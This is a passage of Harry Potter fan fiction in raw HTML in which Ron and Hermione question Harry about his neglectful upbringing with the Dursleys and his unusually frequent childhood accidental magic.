armchair over to\nface him and Ron just carried one over.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Alright, Harry, here&#8217;s what you&#8217;re going to\ndo.&#8221; Hermione started in gentle, but firm voice once she had curled up in her\nseat. &#8220;We&#8217;re going to ask you questions and you <b>will</b> answer them. Simple enough?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Yes, Ma&#8217;am.&#8221; Harry said mockingly.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Okay. First off.&#8217; Ron said, leaning towards\nHarry. &#8220;We&#8217;ve told you all about our homes, so now you&#8217;re going to tell us\nabout your home.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry though for a moment. Privet Drive might\nbe where he had lived for the last ten years, but it <b>certainly</b> wasn&#8217;t his home, but if <b>it</b> wasn&#8217;t his home&#8230; Harry smirked.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;My home? Well, my home is a hidden castle, with\na surprisingly large population of in training witches and wizards&#8230;&#8221; Harry\nbegan.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Hermione narrowed her eyes at him, quite\nobviously not amused.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8220;<b>Hogwarts</b> is not your <b>home</b>, Harry. It&#8217;s just where\nyou&#8217;re living right now.&#8217; Hermione said angrily with the air of a child\nstomping their foot. &#8220;You promised us that you would answer our questions or\ngive us a reason why not.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;By &#8216;home&#8217; we mean&#8230;&#8221; Ron started, trying to\nfind a suitable description. &#8220;Well I don&#8217;t know who said it but &#8216;Your home is\nwhere your heart is.&#8217; <b>That&#8217;s</b>\nwhat we mean by home.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry sighed and decided he wasn&#8217;t going to\nbe able to joke his way out of this.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&lt;I may as well just tell them whatever\nthey want, straight out.&gt; Harry thought. &lt;Otherwise this could take <b>all day</b>.&gt;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;I understood exactly what you meant, but by\nyour own definition Hogwarts <b>is</b>\nmy home. Privet Drive is just where I lived for the last ten years.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Ron and Hermione looked at each other,\nlooking quite obviously confused.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;But&#8230; How&#8230; But - that&#8217;s where your family is.\nAt least your relatives, and all of your childhood memories must take place\nthere. How can you <b>not</b>\nconsider it your home?&#8221; asked Ron, frowning.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Please!&#8221; Harry snorted. &#8220;I&#8217;d rather not be\nreminded that I&#8217;m related to them. As for childhood memories? Well of course\nthey all take place in and around Privet Drive. So what? How does that make it\nmy home?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Ron rolled his eyes as if Harry was a\ncomplete imbecile.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Home is where your heart is right?&#8221; Hermione\nasked and Harry nodded his agreement. &#8220;Well all of your good memories are a\npart of your heart, so then it makes sense that your heart would be wherever\nthose memories took place.&#8221; Hermione looked quite pleased with her explanation.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;I guess,&#8221; Harry shrugged, &#8220;but then, I don&#8217;t\nreally have any good memories of Privet Drive.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Ron looked appalled at the statement and\nHermione suddenly looked as if she might start crying at any moment. (AN- Why <b>do</b> girls change emotions so\nrapidly?) </p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Okay,&#8221; Ron said while he rubbed his\nforehead. &#8220;I think we need a new approach.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Now it was Harry&#8217;s turn to be confused. He\ncouldn&#8217;t for the life of him understand the reaction of his two best friends.\nHe didn&#8217;t get a chance to ponder their reactions before Ron asked another\nquestion.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;You said you didn&#8217;t want to be reminded that\nyou&#8217;re related to - well, to your relatives. <b>Why not?</b>&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry wrinkled his nose in mild disgust.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoBodyTextIndent">&#8220;Because,&#8221; he said, sounding as if\nhe thought he was stating the obvious &#8220;they&#8217;re ignorant, rude, obnoxious,\nintolerant, narrow minded, lazy, nosy, cruel, hypocritical fools-&#8221; he frowned,\ncontinuing through clenched teeth, his voice expressing a tightly controlled\nrage. &#8220;They don&#8217;t deserve to be related to my mother at all. Whether by blood\nor marriage.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Ron and Hermione jerked back in shock at the\nseething anger in Harry&#8217;s voice. They had known that Harry wasn&#8217;t as close with\nhis relatives as Ron and Hermione were with their own families, but they hadn&#8217;t\nexpected to hear anything even close to what they had just been told, and Harry\nwasn&#8217;t finished yet.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;You know,&#8221; he said seeming to be just\nfiguring something out, &#8220;I think I actually <b>hate</b> them&#8230;&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Both Ron and Hermione spluttered for a while\nat this statement before Hermione finally recovered enough to ask-</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;But - <b style="mso-bidi-font-weight:normal">why?</b>&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">And Ron asked, &#8220;How could you hate your <b>family?</b>&#8221; right after. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry sighed.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Well, you said you wanted to know <b><i style="mso-bidi-font-style:normal">everything</i></b>, right?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Hermione nodded, as did Ron a moment later.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;To tell you the truth, they&#8217;ve been absolute\njerks for as long as I&#8217;ve lived with them, and that&#8217;s putting it mildly. I\ndidn&#8217;t really realize it though, until I&#8217;d been here at Hogwarts for a while. I\nmean I&#8217;d never really lived any other way so I didn&#8217;t really have any way to\nsee that.&#8221; He paused, suddenly finding himself embarrassed that he&#8217;d never\nnoticed how poor his treatment was.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Ron was starting to look mad now, but\nHermione asked him to explain.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Well, for example there are four rooms in\nthe house. One where Dudley sleeps, one where he keeps his toys, one where my -\nmy <b>Aunt and Uncle</b> sleep\nand one guest room.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Then where do you sleep?&#8221; Ron blurted out,\nthen clapped a hand to his mouth motioning to continue with his other.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Well,&#8221; Harry paused, not sure how to\nexplain. &#8220;There&#8217;s this room under the stairs - well, it&#8217;s not a room really,\nit&#8217;s a cupboard - but it&#8217;s big enough that a cot fits in it, so that&#8217;s where I\nsleep.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Ron apparently had no idea what a cot was,\nbut Hermione knew and from the look on her face she wasn&#8217;t what Harry would\ncall &#8216;happy&#8217; to hear about Harry&#8217;s sleeping arrangements.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Well that&#8217;s certainly a good reason to hate\nthem.&#8221; Hermione growled. &#8220;I assume there&#8217;s more though.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry nodded and went on.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Before I go on, I just want you both to know\nthat I wouldn&#8217;t have put up with any of it if I&#8217;d had any idea that I shouldn&#8217;t\nhave had to.&#8221; He said, still feeling a little embarrassed.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Harry, there&#8217;s no need to be embarrassed\nthat you never did anything about your life.&#8221; Ron said. &#8220;You&#8217;re not weak or\nanything because of how the Dursleys treated you. You didn&#8217;t <b>let</b> them treat you badly, because\nas far as you knew they <b>weren&#8217;t</b>\ntreating you badly.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry smiled thankfully at his friend, amazed\nat how Ron could seem insensitive most of the time, but always seemed to say\nthe right thing when it really mattered.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Well, let&#8217;s see now. Reasons why I hate the\nDursleys&#8230; Well for one, <b>they</b>\nhate <b>me</b> for being a\nwizard. They hate anything magical or different. They yell at me if I ask any\nquestion, especially about my parents. They actually told me that my parents\nhad died in a car crash and that I got my scar in that same crash. In fact they\nnever told me anything other than that about my parents, so I never knew that\nmy mum was a witch and my dad was a wizard and that I was one as well. They\ngive Dudley anything he wants while I&#8217;m lucky if I get one of his shirts before\nit&#8217;s worn out. All the clothes I own, other than my school robes, are\nhand-me-downs from Dudley. The Dursleys said I was lucky to get even that much,\nbecause, after all, they didn&#8217;t <b>ask</b>\nto be forced to &#8220;look after me&#8221;&#8230;&#8221; Harry paused and took a calming breath.\n&#8220;Look, there&#8217;s more, but I could probably go on all day about it and I think\nthat you wanted to know more about me, not just why I don&#8217;t like the Dursleys.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">By this point both Ron and Hermione were\nclenching their fists and breathing deeply to keep themselves under control.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Alright,&#8221; Hermione said once she was calm\nenough to speak. &#8220;We can talk about this later. For now just tell us what you\nused to do before you met us. Like at school and stuff. Your pastimes.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry rolled his eyes. He really didn&#8217;t want\nto talk about why he didn&#8217;t like the Dursleys. It made him feel like he was\njust whining and complaining, which he hated. After all, whine and complain all\nyou want, but nothing will change until you shut up and do something about it.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Well at school I mostly just did my work.\nDudley and his friends made sure that no one would talk to me and I didn&#8217;t\nreally mind too much since I was used to it from living at Privet Drive, so I\nnever really tried to get to know anyone. When I was little I was offered free\nmartial arts lessons, which I accepted of course, and for the most part I spent\nmost of my time either at the dojo or in the local library. Other than that my\nlife up until I got my Hogwarts letter was pretty dull. Just going to school,\ngoing to the library and dojo, doing chores and staying away from the Dursleys\nas much as I could was pretty much all I did.&#8221; Harry let out a breath. &#8220; So I\nguess that&#8217;s about all there is to say. Can I go back to bed now?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Harry, I&#8217;m really sorry that you had to grow\nup like that.&#8221; Ron said looking profoundly sad. &#8220;No one should have to live\nlike that&#8230;&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Hermione to looked terribly sad, as if she\nwanted to cry. Suddenly she got up and went over to Harry. Then before anyone\ncould say anything she sat on the couch facing him and threw her arms around\nhim and hiding her face on his shoulder.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Harry, why didn&#8217;t you tell us?&#8221; she asked,\nsounding a little squeaky. &#8220;We can&#8217;t make up for what you went through, but we\ncould&#8217;ve done something to help you feel better.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Only having ever seen such affection shown to\nDudley, Harry was quite shocked. Nonetheless he put his arms around her in what\nhe hoped was a comforting manner, after giving Ron a surprised look.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Hermione, I told you. I never realized that\nanything I&#8217;d experienced was bad, so there really wasn&#8217;t anything <b>to</b> tell you for a while. Once I\nrealized though that my life basically sucked, I had already been here at\nHogwarts for a while, where my life really <b>doesn&#8217;t</b> suck. You couldn&#8217;t have helped me feel &#8216;better&#8217;\nbecause I didn&#8217;t feel bad about it in the first place. I still don&#8217;t. It&#8217;s like\ngetting a cut and not realizing it until after it&#8217;s healed. If you don&#8217;t notice\nanything is hurting you until after the pain is gone then there&#8217;s isn&#8217;t anything\nyou can do about it and it doesn&#8217;t really matter because if you never felt the\npain then it may as well have never happened.&#8217; Harry explained with the air of\nsomeone who had just stated that one plus one was two. &#8220;Besides, what more\ncould you do other than being my friends? What more could I even <b>want?</b>&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Ron looked as if he wanted to disagree, but\njust shook his head. Hermione&#8217;s shaky breaths steadied and she let go of Harry.\nA moment later Harry realized he should also let go and Hermione settled down\nto sit by him on the couch.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Alright, Harry, if you say so, but you know\nwe&#8217;ll always listen if you ever want to talk to either of us about it.&#8221; Ron\nsaid.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Alright, Ron, I&#8217;ll remember.&#8221; Harry\nanswered. &#8220;<b>Now</b> can I go\nback to bed?&#8221; he asked starting to get up.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;No, not yet.&#8221; Hermione said trying to sound\nlight hearted and brush away the gloominess that seemed to have settled over\neveryone but Harry. &#8220;You haven&#8217;t told us anything about what accidental magic\nyou did as a child.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Yeah, Harry.&#8221; Said Ron jovially. &#8220;I told you\nabout the time I got covered in rat spleens in Diagon Alley. You must have some\nequally embarrassing story. I need to have something to blackmail you with so\nyou can&#8217;t use that story against me.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8221;Rat spleens?&#8221; Hermione asked. &#8220;What does that\nhave to do with accidental magic?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Uhhh&#8230;&#8221; Ron blushed. &#8220;Well, I was in the\napothecary with my family, we were getting Percy&#8217;s school supplies, and the\ntwins told me that the owner had a bunch of chocolate frogs in the jar. I\nbelieved them because I couldn&#8217;t actually see inside it. It was too high up for\nme to reach and I ended up doing a bit of accidental magic, which made the jar\nfall off its shelf. Unfortunately it was too heavy for me to catch and I ended\nup spilling it all over myself. Let me tell you, it&#8217;s just about impossible to\nget the smell off of you.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Hermione looked at Ron for a moment in\nsilence, then burst into uncontrollable laughter at the thought of a young Ron\ncovered in fresh rat spleens and looking surprised.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry smiled slightly himself and Ron tried\nto look indignant at Hermione&#8217;s laughter, but he soon joined her, smiling at\nthe memory. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Alright, Harry,&#8221; she said when she calmed\ndown. &#8220;Spill it. What kinds of magic did you do when you were a kid?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Hmmm, well it&#8217;s hard to think of them all.&#8221;\nHarry said. &#8220;I mean I never really even thought much about it until Hagrid came\nto take me to Hogwarts and I found out that I&#8217;m a wizard.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry thought about it for a moment before\ncoming up with some occurrences that he was pretty sure had to have been caused\nby accidental magic.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Well, there was this one time when Dudley\nand his friends were chasing me at school. I was running away from them, but I\ngot stuck in a dead-end between the side of the school and some fencing. Then\nall of the sudden I was on the other side of the fence even though I hadn&#8217;t\nmoved at all.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Ron frowned and asked how old Harry had been\nat the time.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Ummm- I think I was around four or five at\nthe time. Why?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Nothing, I was just wondering.&#8221; Ron\nanswered, but his frown didn&#8217;t go away. &#8220;Keep going, what else did you do?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;When I was about six, Dudley&#8217;s aunt Marge\nbrought her dog to the house and it started chasing me as soon as it got out of\nthe car. Fortunately Marge really spoils it so it wasn&#8217;t very fast, otherwise\nit would have got me right away. But anyway, I ran away (obviously) and tried\nto climb a tree in the back yard before it could reach me and when I got to the\ntree I jumped up to try and get hold of the first branch. I didn\'t even come\nclose the first try but then I heard the Dursleys laughing at me just as the\ndog tried to jump on me.&#8221; Harry let himself smirk at the memory of what\nhappened next. &#8220;Instead of jumping <b>on</b>\nme though, it jumped <b>through</b>\nme. It smacked its nose on the tree and I swear it had a confused look on its\nface.&#8221; He grinned. &#8220;It would have been <b>so</b> much funnier if I hadn&#8217;t gotten in so much trouble for\nit.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Hermione shook her head, laughing and not\nfeeling the least bit sorry for the dog.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Ron, however, was frowning.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;I didn\'t think it was possible for a wizard\nto do something like that...&#8221; he muttered to himself.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry looked at him weirdly.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;What do you mean? I <b>know</b> what happened, and since it\nhappened it&#8217;s obviously <b>possible!</b>&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Huh.&#8221; Ron said. &#8220;I guess so. I must just be\nthinking of something else...&#8221; but he didn\'t look too sure of himself. &#8220;Are you\n<b>sure</b> the dog went <b>through</b> you?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;<b>Yes,\nRon</b>, I am quite sure. I may not always tell the truth, but I <b>never</b> tell a lie.&#8221; (**AN- check\nthe AN at the bottom if you don&#8217;t understand this.)</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Well go on then.&#8221; Ron said. &#8220;Can you think\nof any other times you did accidental magic?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Of course I can.&#8221; Harry answered. &#8220;I must&#8217;ve\ndone it a hundred times while I was living with the Dursleys. Although&#8230;&#8221; Harry\npaused in thought. &#8220;From what I can remember I started doing it a lot more\nafter Osakawa sensei started teaching me.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Who&#8217;s &#8220;Osakawa&#8221;?&#8221; inquired Hermione. &#8220;And\nwhat was this person teaching you?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Sensei?&#8221; Ron asked at the same time.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Oh, sensei sort of means the same thing as\n&#8216;Professor&#8217;, and he teaches me martial arts.&#8221; Answered Harry.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Ron only looked more confused than before,\nbut Hermione nodded in understanding.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Okay, I got the part about him teaching you\n&#8216;martial arts&#8217;,&#8221; Ron stated, scratching his head, &#8220;but what <b>are</b> martial arts?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Oh, <b>honestly</b>!&#8221; Huffed Hermione. &#8220;Does everyone from a wizarding\nfamily know nothing about muggle culture? Martial arts are basically different\nforms of fighting, or hand-to-hand or unarmed combat, such as Judo or Karate.\nAlthough they are generally studied for the purpose of defending yourself and\nothers or stopping a fight.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Ron rolled his eyes at her, but he was\nsmiling anyway.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Anyway, Harry, you said you started doing\neven <b>more</b> accidental\nmagic?&#8221; Ron asked seriously.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Yeah, I don&#8217;t know why though. I suppose\nit&#8217;s just a coincidence.&#8221; Harry replied casually. &#8220;My magic must just have\nstarted growing then.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Ron bit his lip, obviously thinking hard\nabout something. Harry and Hermione shared a look. Ron was almost never\nserious, so when he <b>did</b>\nget serious about something you could bet that it was&#8230; well - <b>serious</b>.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Hey, what&#8217;s up?&#8221; Harry asked his friend\ncautiously.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Ron asked another question instead of\nanswering.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;How many times can you remember doing\naccidental magic?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Ron, I honestly couldn&#8217;t tell you.&#8221; Harry\nsaid. &#8220;Around a hundred times though, in all ten years I was at the Dursleys.\nNow, <b>what is up?</b>&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">The look on their friend&#8217;s face was beginning\nto worry both Harry and Hermione.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Probably nothing.&#8221; Ron mumbled to the two\nfacing him and continued frowning as he was deep in thought about whatever he\nwas talking about.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">By this point Hermione looked ready to\nstrangle him.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Well I certainly <b>hope</b> it&#8217;s nothing.&#8221; She said through clenched teeth. &#8220;Of\ncourse I can&#8217;t be sure it&#8217;s nothing unless<b style="mso-bidi-font-weight:normal"><i style="mso-bidi-font-style:normal"> you tell us what the heck you&#8217;re talking\nabout!</i></b>&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Hermione&#8217;s tone brought Ron out of his\nthoughts and back to reality.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Uh - well, most magical kids only do\naccidental magic a few times before they get their wand.&#8221; Ron explained. &#8220;It&#8217;s\ndefinitely weird if you&#8217;ve done it a hundred times, Harry.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Hermione started to look worried again.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Hmmm. We should really tell a professor\nabout this &#8211;&#8220; she started, but Harry cut her off.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Ugh!&#8221; he groaned. &#8220;No <b>way</b> are we telling <b>anyone</b> about it. It would just be\nanother thing for people to annoy me about! The whole Boy-Who-Lived thing is\nannoying enough on its own! I don&#8217;t need something <b>else</b> for people to\ntalk about!&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;But, Harry! There might be something wrong!&#8221;\nHermione scolded him.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Hermione, if nothing bad has happened because\nof it for <b>ten years</b> then\nthe chances that something <b>is</b>\nwrong are pretty slim, aren&#8217;t they?&#8221; argued Ron. &#8220;Just leave it alone. Besides,\nit\'s not really a big deal. It could even be something as simple as Harry\'s\nmagic reacting to his scar.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" 